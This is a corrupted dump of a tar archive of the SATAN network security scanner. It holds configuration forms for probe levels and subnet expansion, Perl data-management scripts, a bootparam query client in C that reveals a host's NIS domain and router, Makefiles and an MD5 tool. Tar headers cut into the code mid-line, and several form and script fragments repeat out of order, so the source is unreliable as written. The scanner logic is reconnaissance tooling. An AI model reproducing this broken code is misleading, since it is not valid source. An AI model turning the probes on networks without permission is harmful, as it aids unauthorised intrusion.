  11439. <STRONG>As I move out to less proximate hosts, how much should I drop
  11440. the probe level?</STRONG>
  11441. <DL compact>
  11442. <DT><DD><INPUT SIZE=3 NAME=proximity_descent VALUE=$proximity_descent>
  11443. Proximity descent
  11444. </DL>
  11445.  
  11446. <P>
  11447. <STRONG>When I go below 0 probe level, should I:</STRONG>
  11448. <DL compact>
  11449. <DT><DD><INPUT TYPE="radio" NAME=sub_zero_proximity VALUE=0 $cf_sub_zero[0]>Stop
  11450. <DT><DD><INPUT TYPE="radio" NAME=sub_zero_proximity VALUE=1 $cf_sub_zero[1]>Go on
  11451. </DL>
  11452.  
  11453. <P>
  11454. <STRONG>Should I do subnet expansion; that is, should I probe just the
  11455. target or its entire subnet?</STRONG>
  11456. <DL compact>
  11457. <DT><DD><INPUT TYPE="radio" NAME=attack_proximate_subnets VALUE=0
  11458. .$cf_attack_proximate[0]>Just the target
  11459. <DT><DD><INPUT TYPE="radio" NAME=attack_proximate_subnets VALUE=1
  11460. .$cf_attack_proximate[1]>The entire subnet
  11461. </DL>
  11462.  
  11463. <P>
  11464. <STRONG>Does $THIS_HOST appear in <i>rhosts, hosts.equiv</i> or
  11465. <i>NFS exports</i> files of hosts being probed?
  11466. </STRONG>
  11467.  
  11468. <DL compact>
  11469. <DT><DD><INPUT TYPE="radio" NAME=untrusted_host VALUE=0 $cf_untrusted[0]>
  11470. You are running SATAN from a possibly trusted host
  11471. <DT><DD><INPUT TYPE="radio" NAME=untrusted_host VALUE=1 $cf_untrusted[1]>
  11472. You are running SATAN from an untrusted host
  11473. </DL>
  11474.  
  11475. <HR>
  11476.  
  11477. <h2>Patterns specifying hosts to limit the probe to</h2>
  11478.  
  11479. If you only want to probe hosts within a specific domain, you could use,
  11480. for example:
  11481. <PRE>
  11482. .podunk.edu
  11483. </PRE>
  11484. <p>
  11485. If you only want to probe sites on a particular subnet, you could use,
  11486. for example:
  11487. <PRE>
  11488. .192.9.9
  11489. </PRE>
  11490. <p>
  11491. <INPUT SIZE=48 NAME=only_attack_these VALUE="$only_attack_these">
  11492. <p>
  11493. You can specify multiple shell-like patterns, separated by whitespace
  11494. or commas, and you may mix networks and domains. A host will be
  11495. scanned when it matches <i>any</i> pattern: either a network number prefix
  11496. or an internet domain suffix.
  11497.  
  11498. <hr>
  11499.  
  11500. <h2>Patterns specifying hosts to NOT probe</h2>
  11501.  
  11502. If you don't want to probe any military or governmental sites, you could use:
  11503. <PRE>
  11504. .mil, gov
  11505. </PRE>
  11506. <p>
  11507. <INPUT SIZE=48 NAME=dont_attack_these VALUE="$dont_attack_these">
  11508. <p>
  11509. You can specify multiple shell-like patterns, separated by whitespace
  11510. or commas, and you may mix networks and domains. A host will be
  11511. skipped when it matches <i>any</i> pattern: either a network number prefix
  11512. or an internet domain suffix.
  11513.  
  11514. <hr>
  11515.  
  11516. <H2>Workarounds for broken DNS, ICMP etc.</H2>
  11517.  
  11518. <DL compact>
  11519. <DT><DD><INPUT TYPE="radio" NAME="dont_use_nslookup" VALUE="0" $cf_dont_nslookup[0]>
  11520. Use <i>nslookup</i> to look up fully-qualified (<i>host.domain</i>) host names
  11521. <DT><DD><INPUT TYPE="radio" NAME="dont_use_nslookup" VALUE="1" $cf_dont_nslookup[1]>
  11522. Don't use <i>nslookup</i>: DNS is unavailable.
  11523. </DL>
  11524.  
  11525. <DL compact>
  11526. <DT><DD><INPUT TYPE="radio" NAME="dont_use_ping" VALUE="0" $cf_dont_ping[0]>
  11527. Ping hosts to see if they are alive (skip non-responding hosts).
  11528. <DT><DD><INPUT TYPE="radio" NAME="dont_use_ping" VALUE="1" $cf_dont_ping[1]>
  11529. Don't ping hosts: ICMP does not work.
  11530. </DL>
  11531.  
  11532. <HR>
  11533. <INPUT TYPE="submit" VALUE="Change the configuration file">
  11534. </FORM>
  11535. </BODY>
  11536. </HTML>
  11537. EOF
  11538. atan data directory
  11539. </DL>
  11540. <P>
  11541.  
  11542. <STRONG>What probe level should I use?</STRONG>
  11543. <DL compact>
  11544. <DT><DD><INPUT TYPE="radio" NAME=attack_level VALUE=0 $cf_attack_level[0]>
  11545. Light
  11546. <DT><DD><INPUT TYPE="radio" NAME=attack_level VALUE=1 $cf_attack_level[1]>
  11547. Normal
  11548. <DT><DD><INPUT TYPE="radio" NAME=attack_level VALUE=2 $cf_attack_level[2]>
  11549. Heavy
  11550. </DL>
  11551.  
  11552. <P>
  11553. <Ssatan-1.1.1/html/satan_documentation.pl.............................................................   600 .   465 .   506 .       2320  5737557702  13247. ...................................................................................................
  11554. .................................................................................................................................................................................................................................................................
  11555. print <<EOF
  11556. <HTML>
  11557. <HEAD>
  11558. <title>SATAN</title>
  11559. <LINK REV="made" HREF="mailto:satan\@fish.com">
  11560. </HEAD>
  11561. <BODY>
  11562.  
  11563. <H1><IMG SRC="images/satan.gif"> SATAN Documentation</H1>
  11564. <H2>(Security Administrator Tool for Analyzing Networks)</H2>
  11565. <HR>
  11566. <UL>
  11567. <dt><IMG SRC="dots/blackdot.gif" ALT="*">
  11568. .<A HREF="docs/satan_overview.html"><strong>SATAN Overview - Introduction, Concepts and Acknowledgements </strong></A>
  11569. <p>
  11570. <dt><IMG SRC="dots/blackdot.gif" ALT="*">
  11571. .<A HREF="tutorials/first_time/learning_to_use.html"><strong> Learning to use SATAN - a Quick Tutorial</strong></A>
  11572. <p>
  11573. <dt><IMG SRC="dots/blackdot.gif" ALT="*">
  11574. .<A HREF="$HTML_SERVER/tutorials/vulnerability_tutorials.pl"><strong> Vulnerabilities - a Tutorial</strong></A>
  11575. <p>
  11576. <dt><IMG SRC="dots/blackdot.gif" ALT="*">
  11577. .<A HREF="docs/satan_reference.html"><strong>SATAN Reference - Architecture, Configuration and Operation</strong></A>
  11578. <p>
  11579. <dt><IMG SRC="dots/blackdot.gif" ALT="*">
  11580. .<A HREF="docs/FAQ.html"><strong> Frequently Asked Questions (SATAN FAQ)</strong></A>
  11581. <p>
  11582. <dt><IMG SRC="dots/blackdot.gif" ALT="*">
  11583. .<A HREF="docs/quotes.html"><strong> Quotable quotes about SATAN</strong></A>
  11584. </UL>
  11585. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a>
  11586. </BODY>
  11587. </HTML>
  11588. EOF
  11589. aximal proximity
  11590. </DL>
  11591.  
  11592. <P>
  11593. <STRONG>As I move out to less proximate hosts, how much should I drop
  11594. the probe level?</STRONG>
  11595. <DL compact>
  11596. <DT><DD><INPUT SIZE=3 NAME=proximity_descent VALUE=$proximity_descent>
  11597. Proximity descent
  11598. </DL>
  11599.  
  11600. <P>
  11601. <STRONG>When I go below 0 probe level, should I:</STRONG>
  11602. <DL compasatan-1.1.1/html/data/..............................................................................   700 .   465 .   506 .          0  5742521547   7472. ............................................................................................
  11603. .................................................................................................................................................................................................................................................................
  11604. .......satan-1.1.1/html/data/satan_data_form.pl............................................................   600 .   465 .   506 .       3103  5737240564  13236. ..............................................................................................
  11605. .................................................................................................................................................................................................................................................................
  11606. .....#
  11607. # Select SATAN data base
  11608. #
  11609. $_satan_dir = "";
  11610. @_results = `ls results`;
  11611. for (@_results) { chop; }
  11612.  
  11613. print CLIENT <<EOF;
  11614. <HTML>
  11615. <HEAD>
  11616. <title> SATAN Data Management </title>
  11617. <LINK REV="made" HREF="mailto:satan\@fish.com">
  11618. </HEAD>
  11619. <BODY>
  11620. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> SATAN Data Management </H1>
  11621. <hr>
  11622.  
  11623. <ul>
  11624. <p><li><a href="#open">Open or create SATAN database</a>
  11625. <p><li><a href="#merge">Merge existing SATAN database</a>
  11626. </ul>
  11627. <hr>
  11628.  
  11629. <FORM METHOD=POST ACTION="satan_open_action.pl">
  11630.  
  11631. <a name="open-or-create"><h3>Open existing or create new SATAN data base</h3>
  11632.  
  11633. <h3>
  11634. <INPUT TYPE="reset" VALUE=" Reset ">
  11635. <INPUT SIZE="28" NAME="_satan_dir" Value="$satan_data">
  11636. <INPUT TYPE="submit" VALUE=" Open or create ">
  11637. </h3>
  11638.  
  11639. </FORM>
  11640.  
  11641. EOF
  11642.  
  11643. if (@_results) {
  11644. .print CLIENT <<EOF;
  11645. .<h3>Existing data bases...</h3>
  11646. EOF
  11647. }
  11648.  
  11649. print CLIENT <<EOF;
  11650. <ul>
  11651. EOF
  11652. for (@_results) {
  11653. .if (-d "results/$_") {
  11654. ..print CLIENT <<EOF;
  11655. ..<li> <a href="satan_open_action.pl,$_,">$_</a>
  11656. EOF
  11657. .}
  11658. }
  11659.  
  11660. print CLIENT <<EOF;
  11661. </ul>
  11662.  
  11663. <hr>
  11664.  
  11665. <FORM METHOD=POST ACTION="satan_merge_action.pl">
  11666.  
  11667. <a name="merge"><h3>Merge with existing SATAN data base</h3>
  11668.  
  11669. <h3>
  11670. <INPUT TYPE="reset" VALUE=" Reset ">
  11671. <INPUT SIZE="28" NAME="_satan_dir" Value="">
  11672. <INPUT TYPE="submit" VALUE=" Merge ">
  11673. </h3>
  11674.  
  11675. </FORM>
  11676.  
  11677. EOF
  11678.  
  11679. if (@_results) {
  11680. .print CLIENT <<EOF;
  11681. .<h3>Existing data bases...</h3>
  11682. EOF
  11683. }
  11684.  
  11685. print CLIENT <<EOF;
  11686. <ul>
  11687. EOF
  11688.  
  11689. for (@_results) {
  11690. .if (-d "results/$_") {
  11691. ..print CLIENT <<EOF;
  11692. ..<li> <a href="satan_merge_action.pl,$_,">$_</a>
  11693. EOF
  11694. .}
  11695. }
  11696.  
  11697. print CLIENT <<EOF;
  11698. </ul>
  11699. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a>
  11700. </BODY>
  11701. </HTML>
  11702. EOF
  11703. ><strong> Quotable quotes about SATAN</strong></A>
  11704. </UL>
  11705. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a>
  11706. </BODY>
  11707. </HTML>
  11708. EOF
  11709. aximal proximity
  11710. </DL>
  11711.  
  11712. <P>
  11713. <STRONG>As I move out to less proximate hosts, how much should I drop
  11714. the probe level?</STRONG>
  11715. <DL compact>
  11716. <DT><DD><INPUT SIZE=3 NAME=proximity_descent VALUE=$proximity_descent>
  11717. Proximity descent
  11718. </DL>
  11719.  
  11720. <P>
  11721. <STRONG>When I go below 0 probe level, should I:</STRONG>
  11722. <DL compasatan-1.1.1/html/data/satan_merge_action.pl.........................................................   600 .   465 .   506 .       2365  5737240573  13747. ............................................................................................
  11723. .................................................................................................................................................................................................................................................................
  11724. .......#
  11725. # Open a data base and keep the user informed.
  11726. #
  11727. ($_directory) = split(/,/, $html_script_args);
  11728.  
  11729. #
  11730. # Make sure they specified a directory at all.
  11731. #
  11732. $_directory = $_satan_dir if $_directory eq "";
  11733.  
  11734. if ($_directory eq "") {
  11735. .print CLIENT <<EOF;
  11736. <HTML>
  11737. <HEAD>
  11738. <TITLE>Error - Missing input </TITLE>
  11739. <LINK REV="made" HREF="mailto:satan\@fish.com">
  11740. </HEAD>
  11741. <BODY>
  11742. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Error - Missing input </H1>
  11743. <hr>
  11744. No data base name was specified.
  11745. </BODY>
  11746. </HTML>
  11747. EOF
  11748. .die "\n";
  11749. }
  11750.  
  11751. #
  11752. # Create data base when it does not exist
  11753. #
  11754. $satan_data = $_directory;
  11755. &find_satan_data();
  11756.  
  11757. #
  11758. # Read the data base, after resetting the in-core data structures.
  11759. #
  11760. print CLIENT <<EOF;
  11761. <HTML>
  11762. <HEAD>
  11763. <TITLE>SATAN Data Management</TITLE>
  11764. <LINK REV="made" HREF="mailto:satan\@fish.com">
  11765. </HEAD>
  11766. <BODY>
  11767. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> SATAN Data Management</H1>
  11768. <HR>
  11769. EOF
  11770.  
  11771. if (-s "$facts_file") {
  11772. .print CLIENT <<EOF;
  11773. <strong>merging data from <i> $_directory. </i> This may take some time. <p>
  11774. EOF
  11775. }
  11776.  
  11777. &merge_satan_data();
  11778.  
  11779. print CLIENT <<EOF;
  11780. <strong>Data base selection completed successfully.</strong>
  11781. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a>
  11782. | <a href=../reporting/analysis.pl>Continue with report and analysis</a>
  11783. </BODY>
  11784. </HTML>
  11785. EOF
  11786. s I move out to less proximate hosts, how much should I drop
  11787. the probe level?</STRONG>
  11788. <DL compact>
  11789. <DT><DD><INPUT SIZE=3 NAME=proximity_descent VALUE=$proximity_descent>
  11790. Proximity descent
  11791. </DL>
  11792.  
  11793. <P>
  11794. <STRONG>When I go below 0 probe level, should I:</STRONG>
  11795. <DL compasatan-1.1.1/html/data/satan_open_action.pl..........................................................   600 .   465 .   506 .       2364  5737240604  13603. ............................................................................................
  11796. .................................................................................................................................................................................................................................................................
  11797. .......#
  11798. # Open a data base and keep the user informed.
  11799. #
  11800. ($_directory) = split(/,/, $html_script_args);
  11801.  
  11802. #
  11803. # Make sure they specified a directory at all.
  11804. #
  11805. $_directory = $_satan_dir if $_directory eq "";
  11806.  
  11807. if ($_directory eq "") {
  11808. .print CLIENT <<EOF;
  11809. <HTML>
  11810. <HEAD>
  11811. <TITLE>Error - Missing input </TITLE>
  11812. <LINK REV="made" HREF="mailto:satan\@fish.com">
  11813. </HEAD>
  11814. <BODY>
  11815. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> Error - Missing input </H1>
  11816. <hr>
  11817. No data base name was specified.
  11818. </BODY>
  11819. </HTML>
  11820. EOF
  11821. .die "\n";
  11822. }
  11823.  
  11824. #
  11825. # Create data base when it does not exist
  11826. #
  11827. $satan_data = $_directory;
  11828. &init_satan_data();
  11829.  
  11830. #
  11831. # Read the data base, after resetting the in-core data structures.
  11832. #
  11833. print CLIENT <<EOF;
  11834. <HTML>
  11835. <HEAD>
  11836. <TITLE>SATAN Data Management</TITLE>
  11837. <LINK REV="made" HREF="mailto:satan\@fish.com">
  11838. </HEAD>
  11839. <BODY>
  11840. <H1><IMG SRC=$HTML_ROOT/images/satan.gif> SATAN Data Management</H1>
  11841. <HR>
  11842. EOF
  11843.  
  11844. if (-s "$facts_file") {
  11845. .print CLIENT <<EOF;
  11846. <strong>Loading data from <i> $_directory. </i> This may take some time. <p>
  11847. EOF
  11848. }
  11849.  
  11850. &read_satan_data();
  11851.  
  11852. print CLIENT <<EOF;
  11853. <strong>Data base selection completed successfully.</strong>
  11854. <hr> <a href=$HTML_STARTPAGE> Back to the SATAN start page </a>
  11855. | <a href=../reporting/analysis.pl>Continue with report and analysis</a>
  11856. </BODY>
  11857. </HTML>
  11858. EOF
  11859.  
  11860. s I move out to less proximate hosts, how much should I drop
  11861. the probe level?</STRONG>
  11862. <DL compact>
  11863. <DT><DD><INPUT SIZE=3 NAME=proximity_descent VALUE=$proximity_descent>
  11864. Proximity descent
  11865. </DL>
  11866.  
  11867. <P>
  11868. <STRONG>When I go below 0 probe level, should I:</STRONG>
  11869. <DL compasatan-1.1.1/src/....................................................................................   700 .   465 .   506 .          0  5742521557   6405. ............................................................................................
  11870. .................................................................................................................................................................................................................................................................
  11871. .......satan-1.1.1/src/boot/...............................................................................   700 .   465 .   506 .          0  5742521550   7341. ..............................................................................................
  11872. .................................................................................................................................................................................................................................................................
  11873. .....satan-1.1.1/src/boot/Makefile.......................................................................   600 .   465 .   506 .        627  5741522770  11061. ................................................................................................
  11874. .................................................................................................................................................................................................................................................................
  11875. ...SHELL.= /bin/sh
  11876. BIN.= ../../bin
  11877. OBJECTS.= boot.o bootparam_prot_xdr.o
  11878. CFLAGS.= -I. -O $(XFLAGS)
  11879. XFLAGS.= -DAUTH_GID_T=int
  11880. RPCGEN.= rpcgen
  11881. #LIBS.= -lsocket -lnsl
  11882.  
  11883. $(BIN)/boot: $(OBJECTS)
  11884. .$(CC) $(CFLAGS) -o $@ $(OBJECTS) $(LIBS)
  11885.  
  11886. bootparam_prot.h bootparam_prot_xdr.c: bootparam_prot.x
  11887. .$(RPCGEN) bootparam_prot.x 2>/dev/null
  11888.  
  11889. $(OBJECTS): bootparam_prot.h
  11890.  
  11891. clean:
  11892. .rm -f *.o $(BIN)/boot bootparam_prot*.[hc]
  11893.  - Missing input </H1>
  11894. <hr>
  11895. No data base name was specified.
  11896. </BODY>
  11897. </HTML>
  11898. EOF
  11899. .die "\n";
  11900. }
  11901.  
  11902. #
  11903. # Createsatan-1.1.1/src/boot/boot.c.........................................................................   600 .   465 .   506 .       4607  5727101305  10541. .............................................................................................
  11904. .................................................................................................................................................................................................................................................................
  11905. ...... /*
  11906.   * Usage: boot bootclient bootserver
  11907.   * 
  11908.   * Executes a bootparam WHOAMI request and print the results.
  11909.   */
  11910.  
  11911. #include <stdio.h>
  11912. #include <sys/types.h>
  11913. #include <sys/socket.h>
  11914. #include <netdb.h>
  11915. #include <rpc/rpc.h>
  11916. #include "bootparam_prot.h"
  11917.  
  11918. main(argc, argv)
  11919. int     argc;
  11920. char   *argv[];
  11921. {
  11922.     int     stat;
  11923.     char    host[256];
  11924.     struct hostent *hp;
  11925.     static struct bp_whoami_arg bp_arg;
  11926.     static struct bp_whoami_res bp_res;
  11927.     char   *domain;
  11928.     char   *strchr();
  11929.     char   *clnt_sperrno();
  11930.     char   *me = argv[0];
  11931.     char   *client = argv[1];
  11932.     char   *server = argv[2];
  11933.     long    addr;
  11934.  
  11935.     if (argc != 3) {
  11936. .fprintf(stderr, "Usage: %s bootclient bootserver\n", me);
  11937. .exit(1);
  11938.     }
  11939.     /* Find out the bootserver's official host name. */
  11940.     if ((hp = gethostbyname(server)) == NULL) {
  11941. .fprintf(stderr, "Host %s not found.\n", server);
  11942. .exit(1);
  11943.     }
  11944.     /* If bootclient name isn't in FQDN form, append domain from server. */
  11945.     if (strchr(client, '.') == 0 && (domain = strchr(hp->h_name, '.')) != 0) {
  11946. .sprintf(host, "%s%s", client, domain);
  11947. .client = host;
  11948.     }
  11949.     /* Find out the bootclient's address. Assume it has only one. */
  11950.     if ((hp = gethostbyname(client)) != NULL) {
  11951. .memcpy((caddr_t) & bp_arg.client_address.bp_address_u.ip_addr,
  11952. .       hp->h_addr_list[0], hp->h_length);
  11953.     } else if ((addr = inet_addr(client)) != -1) {
  11954. .memcpy((caddr_t) & bp_arg.client_address.bp_address_u.ip_addr,
  11955. .       &addr, sizeof(addr));
  11956.     } else {
  11957. .fprintf(stderr, "Host %s not found.\n", client);
  11958. .return (1);
  11959.     }
  11960.     bp_arg.client_address.address_type = IP_ADDR_TYPE;
  11961.     bp_res.client_name = 0;.../* allocate buffer */
  11962.     bp_res.domain_name = 0;.../* allocate buffer */
  11963.  
  11964.     if (stat = callrpc(server,
  11965. ..       BOOTPARAMPROG, BOOTPARAMVERS,
  11966. ..       BOOTPARAMPROC_WHOAMI,
  11967. ..       xdr_bp_whoami_arg, &bp_arg,
  11968. ..       xdr_bp_whoami_res, &bp_res)) {
  11969. .fprintf(stderr,
  11970. .."me: cannot contact bootparam server at %s for %s: %s\n",
  11971. ..server, client, clnt_sperrno(stat));
  11972. .return (1);
  11973.     }
  11974.     printf("client_name: %s\n", bp_res.client_name);
  11975.     printf("domain_name: %s\n", bp_res.domain_name);
  11976.     printf("router_addr: %d.%d.%d.%d\n",
  11977. .   (bp_res.router_address.bp_address_u.ip_addr.net & 0377),
  11978. .   (bp_res.router_address.bp_address_u.ip_addr.host & 0377),
  11979. .   (bp_res.router_address.bp_address_u.ip_addr.lh & 0377),
  11980. .   (bp_res.router_address.bp_address_u.ip_addr.impno & 0377));
  11981.     return (0);
  11982. }
  11983. ost
  11984. </DL>
  11985.  
  11986. <HR>
  11987.  
  11988. <h2>Patterns specifying hosts to limit the probe to</h2>
  11989.  
  11990. If you only want to probe hosts within a specisatan-1.1.1/src/boot/bootparam_prot.x...............................................................   600 .   465 .   506 .       5713  5727104345  12661. .......................................................
  11991. .................................................................................................................................................................................................................................................................
  11992. ............................................/*
  11993.  * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
  11994.  * unrestricted use provided that this legend is included on all tape
  11995.  * media and as a part of the software program in whole or part.  Users
  11996.  * may copy or modify Sun RPC without charge, but are not authorized
  11997.  * to license or distribute it to anyone else except as part of a product or
  11998.  * program developed by the user.
  11999.  * 
  12000.  * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
  12001.  * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
  12002.  * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
  12003.  * 
  12004.  * Sun RPC is provided with no support and without any obligation on the
  12005.  * part of Sun Microsystems, Inc. to assist in its use, correction,
  12006.  * modification or enhancement.
  12007.  * 
  12008.  * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
  12009.  * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
  12010.  * OR ANY PART THEREOF.
  12011.  * 
  12012.  * In no event will Sun Microsystems, Inc. be liable for any lost revenue
  12013.  * or profits or other special, indirect and consequential damages, even if
  12014.  * Sun has been advised of the possibility of such damages.
  12015.  * 
  12016.  * Sun Microsystems, Inc.
  12017.  * 2550 Garcia Avenue
  12018.  * Mountain View, California  94043
  12019.  */
  12020.  
  12021. /*
  12022.  * RPC for bootparms service.
  12023.  * There are two procedures:
  12024.  *   WHOAMI takes a net address and returns a client name and also a
  12025.  *.likely net address for routing
  12026.  *   GETFILE takes a client name and file identifier and returns the
  12027.  *.server name, server net address and pathname for the file.
  12028.  *   file identifiers typically include root, swap, pub and dump
  12029.  */
  12030.  
  12031. #ifdef RPC_HDR
  12032. %#include <rpc/types.h>
  12033. %#include <sys/time.h>
  12034. %#include <sys/errno.h>
  12035. %/*#include <nfs/nfs.h>*/
  12036. #else
  12037. %#ifndef lint
  12038. %/*static char sccsid[] = "from: @(#)bootparam_prot.x 1.2 87/06/24 Copyr 1987 Sun Micro";*/
  12039. %/*static char sccsid[] = "from: @(#)bootparam_prot.x.2.1 88/08/01 4.0 RPCSRC";*/
  12040. %static char rcsid[] = "$Id: bootparam_prot.x,v 1.1 1994/08/04 19:01:44 wollman Exp $";
  12041. %#endif /* not lint */
  12042. #endif
  12043.  
  12044. const MAX_MACHINE_NAME  = 255;
  12045. const MAX_PATH_LEN.= 1024;
  12046. const MAX_FILEID.= 32;
  12047. const IP_ADDR_TYPE.= 1;
  12048.  
  12049. typedef.string.bp_machine_name_t<MAX_MACHINE_NAME>;
  12050. typedef.string.bp_path_t<MAX_PATH_LEN>;
  12051. typedef.string.bp_fileid_t<MAX_FILEID>;
  12052.  
  12053. struct.ip_addr_t {
  12054. .char.net;
  12055. .char.host;
  12056. .char.lh;
  12057. .char.impno;
  12058. };
  12059.  
  12060. union bp_address switch (int address_type) {
  12061. .case IP_ADDR_TYPE:
  12062. ..ip_addr_t.ip_addr;
  12063. };
  12064.  
  12065. struct bp_whoami_arg {
  12066. .bp_address..client_address;
  12067. };
  12068.  
  12069. struct bp_whoami_res {
  12070. .bp_machine_name_t.client_name;
  12071. .bp_machine_name_t.domain_name;
  12072. .bp_address..router_address;
  12073. };
  12074.  
  12075. struct bp_getfile_arg {
  12076. .bp_machine_name_t.client_name;
  12077. .bp_fileid_t..file_id;
  12078. };
  12079. .
  12080. struct bp_getfile_res {
  12081. .bp_machine_name_t.server_name;
  12082. .bp_address..server_address;
  12083. .bp_path_t..server_path;
  12084. };
  12085.  
  12086. program BOOTPARAMPROG {
  12087. .version BOOTPARAMVERS {
  12088. ..bp_whoami_res.BOOTPARAMPROC_WHOAMI(bp_whoami_arg) = 1;
  12089. ..bp_getfile_res.BOOTPARAMPROC_GETFILE(bp_getfile_arg) = 2;
  12090. .} = 1;
  12091. } = 100026;
  12092. rrno(stat));
  12093. .return (1);
  12094.     }
  12095.     printf("client_nasatan-1.1.1/src/misc/...............................................................................   700 .   465 .   506 .          0  5742521552   7333. ................................................................................
  12096. .................................................................................................................................................................................................................................................................
  12097. ...................satan-1.1.1/src/misc/Makefile.......................................................................   600 .   465 .   506 .       1355  5741563641  11072. ..................................................................................
  12098. .................................................................................................................................................................................................................................................................
  12099. .................SHELL.= /bin/sh
  12100. BIN.= ../../bin
  12101. PROGS.= $(BIN)/md5 $(BIN)/sys_socket $(BIN)/timeout $(BIN)/rcmd \
  12102. .$(BIN)/safe_finger $(BIN)/rex 
  12103. CFLAGS.= -O -I. $(XFLAGS)
  12104. XFLAGS.= -DAUTH_GID_T=int
  12105. RPCGEN.= rpcgen
  12106. #LIBS.= -lsocket -lnsl
  12107.  
  12108. all:.$(PROGS)
  12109.  
  12110. $(BIN)/timeout: timeout.c
  12111. .$(CC) $(CFLAGS) -o $@ $?
  12112.  
  12113. $(BIN)/rex: rex.o rex_xdr.o
  12114. .$(CC) $(CFLAGS) -o $@ rex.o rex_xdr.o $(LIBS)
  12115.  
  12116. $(BIN)/md5: md5.o md5c.o
  12117. .$(CC) $(CFLAGS) -o $@ md5.o md5c.o
  12118.  
  12119. $(BIN)/rcmd: rcmd.c
  12120. .$(CC) $(CFLAGS) -o $@ $? $(LIBS)
  12121.  
  12122. $(BIN)/sys_socket: sys_socket.c
  12123. .$(CC) $(CFLAGS) -o $@ $?
  12124.  
  12125. $(BIN)/safe_finger: safe_finger.c
  12126. .$(CC) $(CFLAGS) -o $@ $?
  12127.  
  12128. rex.h rex_xdr.c: rex.x
  12129. .$(RPCGEN) rex.x 2>/dev/null
  12130.  
  12131. rex.o rex_xdr.o: rex.h
  12132.  
  12133. clean:
  12134. .rm -f $(PROGS) *.o core rex_svc.c rex_clnt.c rex.h rex_xdr.c
  12135. atic char sccsid[] = "from: @(#)bootparam_prot.x 1.2 87/06/24 Copyr 1987 Sun Micro";*/
  12136. %/*static char sccsid[] = "from: @(#)bootparam_prot.x.2.1 88/08/01 4.0 RPCSRC";*/
  12137. %static char rcsid[] = "$Id: bootparam_prot.x,v 1.1 1994/08/04 19:01:44 wollman Exp $";
  12138. %#endif /* not linsatan-1.1.1/src/misc/global.h.......................................................................   600 .   465 .   506 .       1505  5720110070  11015. ...................................................................................
  12139. .................................................................................................................................................................................................................................................................
  12140. ................/* GLOBAL.H - RSAREF types and constants
  12141.  */
  12142.  
  12143. /* PROTOTYPES should be set to one if and only if the compiler supports
  12144.   function argument prototyping.
  12145. The following makes PROTOTYPES default to 0 if it has not already
  12146.   been defined with C compiler flags.
  12147.  */
  12148. #ifndef PROTOTYPES
  12149. #define PROTOTYPES 0
  12150. #endif
  12151.  
  12152. /* POINTER defines a generic pointer type */
  12153. typedef unsigned char *POINTER;
  12154.  
  12155. /* UINT2 defines a two byte word */
  12156. typedef unsigned short int UINT2;
  12157.  
  12158. /* UINT4 defines a four byte word */
  12159. #ifdef __alpha
  12160. typedef unsigned int UINT4;
  12161. #else
  12162. typedef unsigned long int UINT4;
  12163. #endif
  12164.  
  12165. /* PROTO_LIST is defined depending on how PROTOTYPES is defined above.
  12166. If using PROTOTYPES, then PROTO_LIST returns the list, otherwise it
  12167.   returns an empty list.
  12168.  */
  12169. #if PROTOTYPES
  12170. #define PROTO_LIST(list) list
  12171. #else
  12172. #define PROTO_LIST(list) ()
  12173. #endif
  12174. /*static char sccsid[] = "from: @(#)bootparam_prot.x.2.1 88/08/01 4.0 RPCSRC";*/
  12175. %static char rcsid[] = "$Id: bootparam_prot.x,v 1.1 1994/08/04 19:01:44 wollman Exp $";
  12176. %#endif /* not linsatan-1.1.1/src/misc/md5.c..........................................................................   600 .   465 .   506 .       2115  5740245060  10245. ...................................................................................
  12177. .................................................................................................................................................................................................................................................................
  12178. ................ /*
  12179.   * md5 - trivial command-line driver for the MD5 hash function.
  12180.   * 
  12181.   * usage: md5 [files...]
  12182.   * 
  12183.   * Author: Wietse Venema.
  12184.   */
  12185. #include <stdio.h>
  12186. #include "global.h"
  12187. #include "md5.h"
  12188.  
  12189. #define MD5_HASH_LENGTH.16
  12190.  
  12191. main(argc, argv)
  12192. int     argc;
  12193. char  **argv;
  12194. {
  12195.     char   *crunch();
  12196.     FILE   *fp;
  12197.  
  12198.     if (argc < 2) {
  12199. .printf("%s\n", crunch(stdin));
  12200.     } else {
  12201. .while (--argc && *++argv) {
  12202. .    if ((fp = fopen(*argv, "r")) == 0) {
  12203. ..perror(*argv);
  12204. ..return (1);
  12205. .    }
  12206. .    printf("%s.%s\n", crunch(fp), *argv);
  12207. .    fclose(fp);
  12208. .}
  12209.     }
  12210.     return (0);
  12211. }
  12212.  
  12213. char   *crunch(fp)
  12214. FILE   *fp;
  12215. {
  12216.     MD5_CTX md;
  12217.     unsigned char sum[MD5_HASH_LENGTH];
  12218.     unsigned char buf[BUFSIZ];
  12219.     static char result[2 * MD5_HASH_LENGTH + 1];
  12220.     static char hex[] = "0123456789abcdef";
  12221.     int     buflen;
  12222.     int     i;
  12223.  
  12224.     MD5Init(&md);
  12225.     while ((buflen = fread(buf, 1, BUFSIZ, fp)) > 0)
  12226. .MD5Update(&md, buf, buflen);
  12227.     MD5Final(sum, &md);
  12228.  
  12229.     for (i = 0; i < MD5_HASH_LENGTH; i++) {
  12230. .result[2 * i] = hex[(sum[i] >> 4) & 0xf];
  12231. .result[2 * i + 1] = hex[sum[i] & 0xf];
  12232.     }
  12233.     return (result);
  12234. }
  12235. MAX_FILEID.= 32;
  12236. const IP_ADDR_TYPE.= 1;
  12237.  
  12238. typedef.string.bp_machine_name_t<MAX_MACHINE_NAME>;
  12239. typedef.string.bp_path_t<MAX_PATH_LEN>;
  12240. typedef.string.bp_fileid_t<MAX_FILEID>;
  12241.  
  12242. struct.ip_addr_t {
  12243. .char.net;
  12244. .char.host;
  12245. .char.lh;
  12246. .char.impno;
  12247. };
  12248.  
